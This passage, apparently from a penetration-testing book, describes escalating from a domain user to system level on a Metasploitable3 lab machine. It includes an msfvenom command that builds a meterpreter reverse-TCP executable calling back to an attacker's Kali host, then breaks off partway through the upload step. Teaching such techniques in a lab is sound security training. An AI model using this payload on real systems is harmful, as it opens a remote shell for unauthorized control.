Escalating from domain user to system administrator
In most cases, attackers performing console-level attacks or social engineering attacks might gain access to a normal domain user who is not a local administrator, which leaves them with access only to a limited level of privileges. This can be bypassed and exploited to gain system-level access on the victim machine without having to be a local admin. We will utilize Windows 2008 Metasploitable3 to perform the local privilege escalation. Following are the steps involved in performing the attack:
- Create an executable with a payload using
msfvenom
by runningsudo msfvenom –p windows/meterpreter/reverse_tcp LHOST=<Kali IP> LPORT=<Port No> -f exe –o Output.exe.
from the Kali terminal. - Log in to Metasploitable3 using the
normaluser
user account with the password that we created in Chapter 1, Goal-Based Penetration Testing. Upload the file to the target either through file share or by simply...